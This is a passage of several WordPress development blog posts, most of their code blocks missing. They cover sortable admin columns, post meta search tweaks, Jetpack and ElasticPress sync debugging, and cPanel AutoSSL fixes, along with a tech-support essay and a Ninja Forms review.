I edited it to ‘no’ and saved. Boom. I can use DreamHost and Dreamhost here.
Now this isn’t something I’d do for everything. In fact, my actual `halfelf-functions.php` file looks like this:
All the per-site filters are right there turned off as I want them. It’s not a lot of effort that way, and it’s still easy to pick up a site and drop it somewhere else.
Which is better? I don’t know. The real test would be to do some hardcore speed checks and see if checking for the blog ID is faster than checking for an option. I think the speed benefit gains would come from only calling this when needed, but for the limited world in which this is used, it should be fine. Also, keep in mind what both johnc- and I are saying, but in different ways: remember the 80/20 rule.
In my opinion, if you’re making a feature that will be used by 80%+ of the sites on your Network, `get_option` is probably the easiest bet. If you’re making a feature that’s going to be used by 20%- of the sites, then a separate plugin (with a site\_id check) is the way to go. Of course, you could do an option and default it to ‘no’ as well, but that brings up an interesting level of things to remember if you ever move a site.
If you’ve got a more efficient way of doing the same thing, or even just a different way, speak up! More options are always better.
Oh and no, we’re not going to sneakily install this on DreamPress, but if I did, it would also capitalize DreamPress, DreamCompute, and everything else out there. But I won’t.
**Categories:** How To
**Tags:** coding, multisite, plugins, wordpress
---
### [Sortable Custom Columns: Taxonomies](https://halfelf.org/2016/sortable-custom-columns-taxonomies/)
**Published:** September 26, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Making even more things sortable!
**Content:**
You may have noticed that when I was making [Sortable Custom Columns](https://halfelf.org/2016/sortable-custom-columns/) I *didn’t* make it so I could sort some of the fields.
[](https://halfelf.org/wp-content/uploads/sites/2/2016/09/sorting-coliumns.png)
That’s because unlike my lovely post meta, those other fields are custom taxonomies. And by their very nature, they’re **not** sortable. In order to do this however you need some SQL.
## Make the Columns Sortable
First we have to add our new columns (`lez_gender` and `lez_sexuality`) into our sortable function.
Last time it only had the unset and the `postmeta-roletype` columns. Now we’re adding in our taxonomies as `taxonomy-{TAXONOMYNAME}` to that.
## Actually Sort the Content
Now here’s the sneaky SQL stuff.
I repeat this with ‘gender’ changed to ‘sex’ and ‘lez\_gender’ changed to ‘lez\_sexuality’ for the other taxonomy.
I tested this on 921 posts in a custom post type and it didn’t make my server cry. Which is a bonus.
**Categories:** How To
**Tags:** coding, sql, wordpress
---
### [Sortable Custom Columns: Another Post Type's Data](https://halfelf.org/2016/sortable-custom-columns-another-post-types-data/)
**Published:** September 28, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** If only we always knew how we wanted to use all our data before we actually set it all up, but sometimes that's just how it goes.
**Content:**
And we’re still on [LezWatchTV](https://lezwatchtv.com) where there are two CPTs: Characters and Shows.
Every Character has a meta key of the Show (or Shows) it relates to. Since this could be 1, 2, or 7 (you get the idea), it’s an array of Post IDs.
On every page for a Show, I do a count for how many Characters link back to it. Since they’re post IDs, I have to watch out for the LINK/IN results (which I mention in my post on [querying the characters for their deaths](https://halfelf.org/2016/combining-data-multiple-cpts/) … look it’s a weird site). And in so far as showing this on a front-end post, it’s not hard to run a query of characters, grab the shows (in their meta key) and check if that specific show is in the array. If it is, update the count by one.
But there are problems with this. It’s slow, and as it’s something I run fairly often this makes the site slow. Also it isn’t *sortable*. I ended up with a lot of ugly, repetitive, code. After screwing around with SQL and the like, I determined (around the same time my buddy Norcross opined the same) that the smart thing would be have the shows all have a meta field for character number and did this:
- Every time a show is saved, check how many characters link to it and save the count.
- Every time a character is saved, check what shows it links to and run the update for shows.
In that way, I can just grab the meta keys and call it a day. It would make everything much easier.
Would have been nice if I’d thought of that 1000 posts ago, huh? Well you live and learn and take down the elephant one bite at a time.
## Make a Function to Count Characters
Since I know I’m going to want to check the number of characters from multiple places, it seemed wise to make this a function on it’s own.
When I want to use it, I just call `lez_count_queers( POST_ID )` and I get a number of queers for that show.
## Update Shows When Saving Shows
I could have done this in one massive function, but I decided to break it apart so I didn’t have to loop through things unnecessarily. That will make more sense when you look at the next function. But for this, I’m taking advantage of the action `save_post_{post_type}` which lets me trigger my update only when that post type is updated.
The infinite loop check is very important, otherwise every time I ran the update, it would trigger the update and trigger the update and trigger the update. You get the idea.
## Update Shows When Saving Characters
Having decided to break the saves apart, I had a very similar command for the characters, only this time I *am* forcing it into an array. This allows me to compensate for the characters who were added before I updated to the new, array, system. There are only a few left, but better safe than sorry.
This time you’ll note the lack of infinite loop check. It’s not needed here, since I’m not updating the character content. I’m also doing two actions here, one for ‘do\_action’ and one that is the action. This allows me to handle some odd workarounds like… the catch.
If a character doesn’t have any shows associated with it yet, like a *new* character, then it won’t update the character until the second save. And just as bad, if a show is changed, it won’t update. And no, I don’t have a complete fix for this yet. Working on it. The best idea I have so far is to schedule a single cron command to run the show update in 5 or 10 seconds. However this won’t solve the issue with changing shows.
## Batch Update All The Things
Once I got the code in (and I checked that it worked), I had to update all the posts. Thanks to wp-cli, there’s a handy [post update](http://wp-cli.org/commands/post/update/) command. And yes, there are a lot of ways around this one but I thought this would be ‘simpler.’ If you want the super lazy way around it, you can view all the pages on the edit screen, select all, pick ‘quick edit,’ and then save them with no changes.
Since I decided to use WP-CLI, though, I wanted to get a list of all
This gave me a list of every show that was published.
And this re-saved every single show that was published with the post status of … published.
## Make it Sort
Once I had done all that leg work, I could use the super basic sort by meta key value. The only difference to [what we did before](https://halfelf.org/2016/sortable-custom-columns/) is that now we’re using `meta_value_num` .. since characters are numbers.
**Categories:** How To
**Tags:** plugins, post meta, wordpress
---
### [My Question is "You Suck"](https://halfelf.org/2013/my-question-is-you-suck/)
**Published:** July 22, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Some help with handling those support questions that aren't questions, and reviews that should have been support questions.
**Content:**
If you’ve ever watched *Survivor*, they have a Tribal Council at the end of each episode, where they discuss things and decide who to vote off the island. In the grand finale, however, they instead discuss whom to give the million dollars. Every previously voted off tribe member gets a chance to ask the two (or three) finalists a question. Miss Alli, from the classic days of Television Without Pity, used to love/hate when someone would step up and use their time to shout, insult, or otherwise berate the finalists. She called that “My Question is you suck.”
Whenever you do support, you will invariably run into people who act exactly like that. If I had a dollar for every time someone left a support ticket with “This sucks!” I wouldn’t need to work anymore. And those people are really annoying, because you want to reply “Well thanks, and over here in the constructive world…” but you absolutely cannot engage them. As the Survivor yahoos quickly learned, feeding the fuel for someone who’s ranting is about as useful as keeping the rain off with those little paper umbrellas you get with fruity drinks.
### My question is … this code is crap
Something to keep in mind, Tech Support is not “Customer Service” per se. When someone needs tech support, while they totally need someone to be ‘nice’ to them, they really need someone to fix their problem. Customer Service is all about building a relationship with the customer, figuring out their needs and wants, and basically *selling* them something. On the other hand, tech support is being told “This is my problem, fix it.” While that certainly happens to people who work at hotel desks (“There’s no hot water…”) it’s the meat and milk of life for anyone who writes and/or maintains software.
To this end, you’re really not ‘servicing’ the customer, nor are you taking time to build a great rapport with them, you’re trying to fix what’s wrong. Certainly doing this provides a service to the customer, but making sure the person comes back (or stays) is often secondary. After all, if we can fix the problem, you’ll come back, right?
When someone just says ‘You suck’ or ‘Your code sucks’ there’s very little you can do about it, if they’re not willing to give you a concrete example of these things. I have, on occasion, replied “Patches welcome! I’m always happy to improve my work.” That’s pretty much the best I can do. When the reply is that I, personally, suck, then I hand it over to anyone else. There’s nothing I can do here, so it’s time to ask someone else to help me out.(If you’re the solo dev, it’s time to cut your losses, say that you’re sorry you can’t help them, and walk away.)
### My question is …. this plugin gets one star because it doesn’t work
[](https://halfelf.org/wp-content/uploads/sites/2/2013/07/5351c208ea8511e2984222000ae801ef_7.jpg)Mark Jaquith Reviews Code. Credit [Mark Jaquith](https://twitter.com/markjaquith/status/355475827477053440)Everyone hates the ‘review that **should** have been a support question.’ Invariably we’ll get it. The plugin doesn’t work, screw you. And when we go back to look at the person’s post history, we see never once did they, in a place you can find, ask you ‘How do I make this work?’ It’s frustrating. Now you should keep in mind, on the WordPress.org forums, someone can *change their star rating*, so the best thing to do here is try and win them back. Kill ’em with a little kindness, point out ‘I would have seen this faster had you…’
But in general, this one is not to terrible to win back. Much of the time, someone who is this lost that they can only find the review location and not the right support places is someone who has a pretty easy to fix issue. Solve it and you’ve got a returning user. A smaller percentage of the time, alas, the problem is someone who really, truly, didn’t read what the plugin does. “This plugin for vegan resources sucks because there’s no bacon!” Not much you can do there except point out “This is by design.”
### My question is …. you don’t reply fast enough for me
Today we expect, and often get, instant feedback. We have livechats, we have Twitter and Facebook. We reach out to the people who represent a company (or a TV Show), and we assume there will be some prompt reaction. This is no longer customer ‘service’ but ‘experience.’ The customer’s personal experience will color their feelings about both the product and the people behind it. It’s a large part of why I don’t think pure customer service exists any more, if it ever did, in software.
The problem comes in when you take a weekend off, or an afternoon, because you want to actually have, you know, some time with your family, or go to a movie. Maybe you were just asleep for eight consecutive hours. Either way, it was the worst time in the world for someone else, and they’ve left multiple requests for help. If you’ve ever worked in a ‘traditional’ office, these people are like the guy who emails you a long question, and then calls you *and* swings by your desk, after IMing you, to make sure you got the email.
In short, they hit every single ‘annoyance’ nerve in a person’s body, all at once, and they do it over and over and over. I tend to want to reach through the monitor and take away their caffeine for a couple days. But until someone invents that for me, I have a couple tactics.
For anything ‘free’ (like WordPress plugins) I tell them that this is a free product I write in my free time, and that means waiting a reasonable time for a reply means waiting 3-5 days, not 3-5 seconds. And then I answer their question as best I can. For the paid stuff, I point out that I missed their email because I had gone home for the day (or ‘had the weekend off’). Usually just that gentle reminder of “some people do work ‘normal’ hours still” gets them off their horse enough to work with. On the rare occasion it doesn’t(I’ve had people tell me that I’m too important to not be available 24/7, which is sweet, but no.) I’ve just ignored their unreasonable demands and concentrated on fixing the problem at hand.
### My question is … you don’t know what you’re talking about
[](https://halfelf.org/wp-content/uploads/sites/2/2013/07/yousuck.gif)Finally there’s the you suck hidden in a peculiar phrasing of basically “you aren’t good enough.” This is not the same as the outright “You suck.” because it’s actually a value judgement. It’s not a dismissive “You’re a meanie poopy head!” sort of claim, it’s a “Your code sucks!” And this sort of comment hurts a lot. People calling you names rarely have any basis to do so, and they’re rarely right. People calling into question your work, however, that cuts to the bone and tends to make us over react.
In defense of people who submit bug reports, much of the time this is *not* what they mean! Sometimes they say “I think you’re wrong because of XYZ” and it comes across as “You idiot, how could you not possibly know this!” I say this a lot, but text is a really lousy medium for communication of intent. Now. One thing the people who report the bugs really need to remember to do is say “Thank you” when the bug is fixed, or even “I appreciate you taking the time to explain to me why you won’t do XYZ.” Instead, most of what we get is someone saying “I told you! I was right and you were wrong!” I gotta tell you, that never really makes me want to work with you again.
But the real reason this one galls me is that it’s generally said to me after someone has specifically asked me for help on something of I’m somewhat of an expert (or talented tweaker). I’ve had people tell me I don’t know jack about WordPress (pretty sure that’s wrong), or pretty much anything else under the sun. That frustrates me, since you came over here asking me, admitedly a total stranger, for help, and when I gave it you snipped that I’m ignorant.
To these, I actually do point out “You know, you asked me for my help/opinion and I gave it. We can agree to disagree, but you don’t have to be mean about it, since that’s not a good way to get help from a free, volunteer, community.”
Unless of course you’ve hired me, at which point I refund most of your money and cancel the contract.
**Categories:** How It Is
**Tags:** administration, essay, support
---
### [Custom Columns Search: Not unique table/alias](https://halfelf.org/2016/custom-columns-unique-tablealias/)
**Published:** September 21, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** WordPress database error: [Not unique table/alias: 'wp_postmeta'] ... Well that can't be good, can it?
**Content:**
After making [Custom Sortable Columns](https://halfelf.org/2016/sortable-custom-columns/) everything was awesome, right?
Well… Mostly.
When I tried to sort a search, I got this:
Not good.
And not actually (really) related to the sortability! No no, I did this to myself by adding in [optimized post-meta search](https://halfelf.org/2016/optimizing-post-meta-search/). You see, that runs on the front **and** the back end of WordPress.
I knew it had to be the search tweaks I’d made when I saw this:
Right away I realized it had to be my custom queries both calling from `wp_postmeta` and, in doing so, stemming all over each other. Not good at all.
The fix was relatively simple. All I had to do was move the filters to run only if we’re *not* in wp-admin.
This meant that the internal post search wouldn’t query those fields, but in the grand scheme of things, that’s okay. Generally when I’m looking for a post in the search, I’m looking for it by title. If I wanted to be more particular, I could have it not use my custom joins when I’m on a post listing page, but allow it if I’m editing a post (so adding a new link would search all that content too).
For now, this is what I need.
**Categories:** How To
**Tags:** database, debug, wordpress
---
### [Sortable Custom Columns](https://halfelf.org/2016/sortable-custom-columns/)
**Published:** September 19, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Making your custom columns sortable is a little annoying, but really nice once it's working.
**Content:**
I have a *lot* of custom columns going on over at LezWatch TV. And there are a million tutorials on how to make your columns sortable. So here’s another one.
## Backstory
I have a custom post type for TV characters, and the characters have extra meta data. The kind I want to show is the TV show (or shows) associated with the character and the role type.
I should note that ‘role type’ can be weird, since there are characters who will be guests on one show and regulars on the other, and really I should go back and change all of that but when you get to 1000 characters, you really don’t want to… Anyway. Let’s just do this. Keep in mind the following things.
1. The custom post type was registered as `post_type_characters`
2. The data I wish to list is ‘tv shows’ and ‘role type’
3. TV Shows is an array of IDs related to another post type (shows), stored in a meta key called `lezchars_show`
4. Role Type is a plain text value stored in `lezchars_type`
Now we’re ready to go
## New Column Headers
We want to make a new column for your custom post types. For this to work, you need to know the name of your custom post type – `post_type_characters` remember – and the format for the column code – `manage_{POSTTYPE}_posts_columns` … See how that works?
The name of the columns (`cpt-shows` and `postmeta-roletype`) are semi-arbitrary. I picked `cpt-TYPE` and `postmeta-META` because they were logical to me. I always use those formats.
## Column Content
Giving the column content is a little more difficult because I’m listing TV shows associated with a character. Plural. And some characters are on three shows. Usually people are only on one, thankfully.
This time the function name is going to be based on `manage_{POSTTYPE}_posts_custom_column`
And this results in this:
[](https://halfelf.org/wp-content/uploads/sites/2/2016/09/chars-cpt-columns.png)
## Making it Sortable
But as you’ve noticed, it’s not actually *sortable*. That is, if I have one character with no ‘role’, I have to surf through 47 pages until I find her. So the magic here is to make these columns sortable.
This time the filter is named `manage_edit-{POSTTYPE}_sortable_columns` and there’s some extra mess going on.
The column names are required from the previous steps, but the sort by being ‘role’ is something I made up. It doesn’t have to match anything from before *however* it has to be remembered, as we’re going to re-use it in a moment.
You see, I have to tell it what ‘sortable’ means by filtering `pre_get_posts`. I’m grabbing the meta value for `lezchars_type` and I’m going to tell it to order by the value. This happens to be alphabetical. If I was using a number, it would have to be `meta_value_num` instead of `meta_value`.
Remember how I said to remember we called the order-by ‘role’? Well this was why. The case check is on ‘role’ but also the meta\_key is our key name.
And yes it works:
[](https://halfelf.org/wp-content/uploads/sites/2/2016/09/sorting-coliumns.png)
**Categories:** How To
**Tags:** coding, wordpress
---
### [Review: Ninja Forms 3](https://halfelf.org/2016/review-ninja-forms-3/)
**Published:** September 16, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Three is here, and it's amazing.
**Content:**
I wanted to have this out last week, in time for their release of Ninja Forms 3, but with WordPress 4.6.1 dropping the day before and me breaking the site I use Ninja Forms on, well let’s just say my week ran away with me. See the previous post about how lesbians eat data for more.
Anyway. [Ninja Forms 3](https://ninjaforms.com/ninja-forms-three-live/). It took these guys a year to get it all right, and from where I sit, they did an amazing job. They managed to upgrade with minimal loss of data. And since we’re talking about forms, that’s a huge deal. You see, when you do a major overhaul of how forms are built, you’re changing how the data is stored. You’re also (possibly) changing the shortcakes in the posts where the forms are located.
Making matters ‘worse’ for Ninja Forms, they have add-ons. Now they have to make sure these hundreds of add ons will work with the new version of Ninja Forms, and you can bet that not every developer will be responsive. I know that one for a fact.
What they did was nothing short of phenomenal. You see, they ended up making two plugins and a migrator, wrapped it all up into one plugin, and released it. I cannot stress how incredibly hard that is. And they did it right and well.
Here’s how it worked. I had version 2.9.x and I pressed that happy upgrade button to go to version 3. Nothing changed. I had an alert telling me that “3 is coming!!” which I knew, so I clicked on the link and was taken to a page asking me if I wanted to upgrade. Hold on a second. I was *asked* to use the new version.
Right then and there I realized they’d not just included some 2.9.x stuff in the plugin as a fall back, no no. They had two plugins. That’s *twice* the work, but more to the point, they had an upgrader *and* a downgrade in there. I clicked upgrade, migrated my forms, and that was it. From the visitor’s end, nothing had changed, and that’s how we like it.
For me though, using it was a mind trip. The very first thing I noticed was that it took up my whole screen. Now I’m not a fan of that in general. I want WordPress to look like WordPress. I want access to all my things so I can right click and open a link in a new tab and multitask. And worse, *most* full screen WordPress tools don’t look like WordPress. The disparity of those kinds of changes bothers me a lot.
Shockingly, Ninja Forms felt like WordPress. It looked and felt like everything else in my dashboard. I’ve only seen this a few times, like with WooCommerce, where the ‘non’ WordPressy pages were still WordPress. This is hugely important to me. The more we make a consistent user environment for WordPress, the better we make the entire WordPress experience for our users.
I hadn’t messed much with Ninja Forms since I first set it up but now I had all sorts of fun things to play with. The drag and drop interface was as slick as it looked in the videos. This has reinvigorated my interest in things and I’ll be adding some more custom forms to the site soon.
Okay, so what *don’t* I like?
The colors don’t match my site. This is so random, I know, but I like to use different WP Admin themes for different sites. This site is purple, another is blue, and the one using Ninja Forms is 80s Kids – bright blue and pink. I wish that Ninja Forms picked up my admin colors and used that to make their interface.
I’m disappointed about tabbing as well. I can’t press tab and go between fields when I’m editing a form. I try to use my mouse as little as possible when I enter data. If I’m typing in information, like ‘term name’ and ‘value,’ then I want to press tab to jump to the next field.
Finally, and this is going to sound weird, I don’t like that the form editor makes the rest of their settings pages look plain. They did such a kick ass job, I look at the ‘regular’ settings and think they missed something. I know, it’s petty.
**Categories:** How It Is
**Tags:** plugins, review, wordpress
---
### [Lesbians Eat Data](https://halfelf.org/2016/lesbians-broke-jetpack/)
**Published:** September 14, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Debugging why the data on my site killed my server was astounding.
**Content:**
The original title was “Lesbians Broke Jetpack” but it turned out to be even *more* complicated than all that. And thankfully more rare.
This concerns three things.
1\) The website lezwatchtv.com
2\) Jetpack for WordPress
3\) ElasticSearch
On Sept 6th, Jetpack released a new version – 4.3 – and I promptly upgraded. When I did, I started getting weird emails from my server of a “Suspicious process running under user lezwatchtv” and the content looked like this:
Being a proper code-nerd, I backed out a few things and tried again. Same error. I went into my process watcher and saw *five* processes calling `wp-cron.php` for that domain, but no others on the server. I killed the processes and turned off WordPress cron. Everything was fine. Then I installed [WP Crontrol](https://wordpress.org/plugins/wp-crontrol/) and manually kicked off cron jobs until it happened again.
The culprit was a ‘runs everyone one minute’ job by Jetpack, which struck me as bewildering.
The sync job is meant to update your data on Jetpack’s servers, which makes sense, and running every minute will copy up everything that changed in each minute. It seemed a little heavy to me, and disabling it stopped my run-away cron jobs. That meant the sync was failing. I reached out to a Jetpack tech and explained the situation. He re-ran the sync manually and it stalled.
We determined the likely issue was that the job was, for some reason, hanging and unable to finish, so it would just stay active forever. And ever. And since it would see that the sync had never done, it would start up all over again until, finally, my server killed the five (yes, five) processes and sent me an angry text about it. Yes, my server texts me.
At this point I emailed support with full details and got a very insightful reply from Brandon Kraft:
> I’m interested in if there’s an issue with the server connecting with WP.com (seems unlikely given your other sites sound fine), if there’s a large amount of postmeta or something like that that is throwing a wrench into the system, or something to that effect. We’ve isolated some odd cases where when there is either a lot of postmeta or something yet undetermined in postmeta breaks things in a way similar to what you saw.
DING!
See there are 40 posts, 22 pages and then 1246 Custom Post posts on LezWatchTV.
906 posts are ‘characters’ and all characters have three separate taxonomies, two plain text post-meta values, and two serialized. 340 posts are ‘shows’ with two taxonomies, three plain text post-meta values, three integer (plain text) post-meta values, one true/false, six HTML, and one serialized data.
So if I was going to point at “a site with lot of weird post meta” I would pick this site.
I spent a few hours on the 7th (the day after the release) beta testing their 4.3.1 version. We tried [a patch for the bug where full sync wasn’t giving up on wp error](https://github.com/Automattic/jetpack/pull/5126). That helped a little, but the error kept happening, limiting itself to two or three processes. I pointed to a special API, I ran some weird `wp shell` commands, and all we came up with was that at 190 or so ‘chunks’ out of 443, my server would stop sending messages to Jetpack’s servers.
Eventually I zipped up a copy of the theme and plugins and a sanitized DB (all secret information removed) and sent it over for them to play with. And they reproduced it! That was good. It meant it wasn’t my server, but it was my setup and the way Jetpack’s sync worked.
Like everything that has to sync, Jetpack plays the game between ‘sync it all super fast’ and ‘don’t kill the server.’ The way they sync the posts, they apply filters to render the content, including embeds. Because it does that with embeds, it triggers `update_post_meta` to update the `_oembed_time_{long_base64_string}` value, so it can know when to update the embed code for best caching.
Wasn’t I *just* talking about post meta the other day? [Why yes! I was talking about optimizing post meta for search!](https://halfelf.org/2016/optimizing-post-meta-search/) The interesting thing about that is, since I’m using [ElasticPress](https://wordpress.org/plugins/elasticpress/), it scans all my post meta for updates so it knows what to save as searchable data. That means when Jetpack triggers the update, it triggers ElasticPress, and all hell breaks loose.
But why did this happen *now*? Because I turned on “Sitemaps” for Jetpack. And when you enable (or disable) a Jetpack Module, it triggers a full sync. This happened to be the first time I’d done that since installing ElasticPress.
I did what any responsible person would do, and wrote this all up and submitted a [bug report with ElasticPress](https://github.com/10up/ElasticPress/issues/572). Sadly for now I’ve disabled ElasticPress until this can be resolved. I can probably turn it back on safely, since I won’t be triggering a full sync any time soon, but since I don’t want to accidentally crash things, I’ve left it off.
And how was your week?
**Categories:** How To
**Tags:** debug, development, plugins, wordpress
---
### [Debugging cPanel's Default Webpage](https://halfelf.org/2016/debugging-cpanels-default-webpage/)
**Published:** September 12, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Automating all the things sometimes ends in disaster. Trust your tools, but remember how to debug.
**Content:**
It started with a weird email from someone complaining that a 5 year old link was broken. They were trying to go to tech.ipstenu.org. I don’t, and haven’t used that since maybe 2011 or so. That was when I bought halfelf.org you see. I knew the domain should be forwarding, I set that up a million years ago, but for some reason it wasn’t. I told him the right URL and went back to puttering around.
But it bugged me, you know?
And later that day, half my domains started spazzing. It turned out they were still pointing to the ‘temporary’ name servers, ns3 and ns4. I cleaned up my DNS zones and rebuilt them (thank you Dan E. from Liquidweb) but for some reason it was *still* derping.
Now… as you know, I set up [AutoSSL and Let’s Encrypt](https://halfelf.org/2016/lets-encrypt-cpanel/), like a good internet monkey.
In the middle of all this shit, I thought to myself ‘Self, I should fix having a subdomain as an add-on which I don’t need anymore now that we have this set up!’ I deleted store.halfelf.org as an add-on and put it back properly as a named subdomain.
Then I went and properly re-ran the AutoSSL check…
Errors:
I read down and saw I had this error for ALL the bad domains. Coincidence? I think not. And neither do you, right? Right.
I did what you do and Googled and Googled and came across people saying that it was Sucuri (nope) or some other CloudFlare type firewall (nope), and then I thought about the crux of the error. “SSL connection failed” is a pretty distinct error, I felt. And of course the SSL connection failed, there wasn’t a certificate yet! So why was it trying to get to SSL right away?
And then I remembered … I have this in my .htaccess
Which MEANS when it goes to http://store.halfelf.org, and doesn’t get the proper reply, it redirects to https which is the bad page that cPanel always does.
Oh yes.
Deleted those lines, re-ran AutoSSL, and it works.
Picard, Riker, and Worf facepalm.
Okay, smarty, what’s the real fix? Because as much as I want to leave this in place, I’ll have to remember to turn it off every time I add a new domain or subdomain to the system, and while that’s *rare*, it’s the rare cases that cause the most problems (thank you Herbert Hecht).
I looked back at the error and recognized the pattern being repeated: `.BIN_AUTOSSL_CHECK_PL__.` I saw it *all over* the place. I also knew that the folder AutoSSL puts down for LE is `.well-known/acme-challenge` (it’s in your web root). And I *also* knew this extra thing… I knew `.htaccess`
My new rule:
Ironically, once I sorted all that out and understood I needed to whitelist things for AutoSSL and LE, I was able to Google and find an answer. [cPanel knows about the issue and has a case open to fix it for everyone](https://forums.cpanel.net/threads/autossl-htaccess-whitelist.562651/).
Still, I’m leaving that code in place for the one account that tends to add subdomains often enough that I would need this, and not-often enough that I’d remember.
**Categories:** How To
**Tags:** cpanel, debug, htaccess
---
### [Optimizing Post Meta Search](https://halfelf.org/2016/optimizing-post-meta-search/)
**Published:** September 5, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Trimming down the meta key names I searching for to prioritize my results in a WordPress search.
**Content:**
While I’m currently using [ Adam Balee’s technique to add more custom meta to my search results](https://halfelf.org/2016/search-custom-post-data/), it had one flaw to me.
See, his search added *all* the post meta, and really I didn’t want that. While I’m still deep in the woods of getting ElasticSearch to prioritize for me, what I needed was for the search to only look at specific post\_meta fields. And for that, I needed to change the search query just a little bit.
The original code has a section where it updates the Where clause:
Now originally I thought I could just add on to that, but for just changing it to this didn’t work:
That’s because there’s no way to know what `$1` is. I tried this as well but it didn’t work:
So accepting I would have to keep using `preg_replace` I thought about what I was searching and what I wanted. I didn’t want the search to show every character with the tag ‘homosexual’ for example, because that was a custom taxonomy and people can look for that if they wanted to see all the homosexuals. That meant I trimmed down the list of meta fields I needed to search.
My final result was this: chars\_actor, shows\_worthit\_details, shows\_plots, shows\_episodes, shows\_realness\_details, shows\_quality\_details, and shows\_screentime\_details.
I left out the metas for ratings, because all that would do is mean if you search for a ‘5’ for example, you’d get all the things rated five without enough context. (That reminds me I need to code in a way to sort shows by rankings…).
Anyway, my code looks like this:
That change is in the OR clause, where it says “OR if the post meta key name is in my list of keys, AND has a value like my search, then add to the results.”
I feel it’s a little clunky, but it works.
**Categories:** How To
**Tags:** post meta, search, wordpress
---
### [Post Meta, Custom Post Meta, and Statistics](https://halfelf.org/2016/post-meta-custom-post-meta-statistics/)
**Published:** August 29, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** More fun with post meta, CMB2, statistics, and numbers.
**Content:**
I do a lot with [weird stats](https://halfelf.org/2016/chart-js-fun/). I do a lot with [CMB2 and custom meta](https://halfelf.org/2016/custom-terms-cmb2/). I do a *lot* with [CMB2 and weird post meta](https://halfelf.org/2016/cmb2-dropdown-years/).
Is it any surprise I wanted to add my new year dropdown data to my site for some interesting statistics?
Of course not. But I started small. I have a saved loop called `$all_shows_query`
This really just gets the list of all the shows and holds on to it. The meat of the code runs with this:
As mentioned, there are more if statements, like `if ( get_post_meta( $show_id, "shows_stars", true) ) {...}` which gets data for if a show has a star or not. And `if ( get_post_meta( $show_id, "shows_worthit", true) ) {...}` which checks if a show is worth it or not. I was already doing a lot of this, so slipping in one more check doesn’t hurt.
To show the data, without [Chart.js](http://www.chartjs.org), it looks like this:
With Chart.js, it looks like this:
Right now the data’s a bit off, since I’ve only updated 200 of the 325 shows, but it’s enough to get the information.
**Categories:** How To
**Tags:** charts, coding, stats, wordpress
---
### [Passing Variables in WordPress Templates](https://halfelf.org/2016/passing-variables-wordpress-templates/)
**Published:** August 26, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Passing variables and parameters and overriding when needed in your theme.
**Content:**
I don’t theme, generally speaking. I’m not *bad* at it, I just don’t have that particular aspect of ‘design’ in my head where I can create out of nothing. What I can do (and do do) is tweak the heck out of themes. This means I’m sure, if you theme, you know all this and think I’m a bit silly. That’s okay.
One thing I hate about code is duplicated effort. I don’t mind including the same library in 100 different projects, but I hate when I have to use the exact same code over and over in multiple files. Like I did in my theme.
I talked about [using Chart.js in my theme before](https://halfelf.org/2016/chart-js-category-statistics/), and in that work I made use of `get_template_part()` to show the includes. It actually doesn’t look like that any more. Here’s the original code:
And here’s the current code:
While `get_template_part( 'stats' )` calls the file `stats.php`, the call to `get_template_part( 'inc/statistics', 'shows' );` gets `/inc/statistics-shows.php` instead.
This lets me organize things a little better. My `/inc/` folder is filled with this:
As the help doc says, this makes it easy for a theme to reuse sections of code and that’s actually what I’m doing.
I have a call to `get_template_part( 'inc/archive', 'characters' );` in multiple files, including some page templates but also in my category and taxonomy lists.
That means if it’s a show, use one format, and if it’s a character use another.
But…
One of the things I do is a little weird. On the single display pages for shows, I loop through all the characters related to the show and display them. There’s custom post meta to link the two, and what I do on the single page (`single-post_type_shows.php`) is grab the value for the post-meta of ‘shows’ on every single character page, and if the show ID is the same as the post ID of the page you’re on, add the character to an array.
This is not very efficient. I know. It’s basically running an extra loop on every ‘show page’ load and collecting this query. What’s important here though is the array:
This is important because I needed to *pass* this data through to my template part. On the template page for characters, I call `get_template_part( 'inc/excerpt', 'characters' );` and it works fine because it knows exactly what page it’s on and calling `get_the_post_thumbnail()` will work because of what show it is. But when I call it from the shows page, though, it tried to use the values based on the show page, not the character.
What I needed to do was pass the parameters of the character array to the excerpt. And you can’t do that with `get_template_part` but you *can* with a different call.
This passed through my array, which let me call it with a nice for-loop :
And now my excerpt template can use `$character['title']` and everything looked great on the show pages.
They did not, however, look so great on the character page, which used `get_template_part` remember. This was simply because the array for `$character` was empty. In order to make this work for the single character page, I had to recreate the array. Only I did it a little differently.
The reason I wiped out the content (which held `get_the_content` in the original array, remember) is that on a single character page, WordPress knows to show the content, so I don’t need to double that work. I also added in new array items for `ischar` and `shows` so I could check `if ( $character['ischar'] !== true ) {...}` in some places and show slightly different content depending on what page I’m on.
Whew.
**Categories:** How To
**Tags:** coding, themes, wordpress
---
### [Chart.js Category Statistics](https://halfelf.org/2016/chart-js-category-statistics/)
**Published:** March 23, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Using Chart.js for pretty charts is pretty simple once you get the hang of it.
**Content:**
One of the sites I work on is using the [Metro Theme](http://www.shareasale.com/r.cfm?b=453419&u=728549&m=28169&urllink=&afftrack=) by [StudioPress Themes for WordPress](http://www.shareasale.com/r.cfm?b=241369&u=728549&m=28169&urllink=&afftrack=). And on that site, I have a page dedicated to some odd stats based on the categories and tags and custom taxonomies.
What I have is a post type ‘shows’ and a custom taxonomy called ‘clichés’ and from that I was easily able to generate a percentage of how many shows use the cliché of queers in law enforcement (38%) or how many have the death of a queer (also 38% right now). But that wasn’t enough. We wanted ‘pretty graphs’ and for that I needed a tool like Chart.js and a little PHP magic.
## How to Chart.js?
[Chart.js](http://www.chartjs.org/) is a super cool and super responsive and super flexible way to include a chart. And using it is incredibly easy once I figured out that I could just use inline script tags. A very basic chart that would show you how many days each month has looks like this:
If you’re using WordPress, you’ll want to use wp\_enqueue\_script to call it. Here’s what I did for my theme:
But that’s the basics of it. Once I understood that, I was good to go.
## The Code
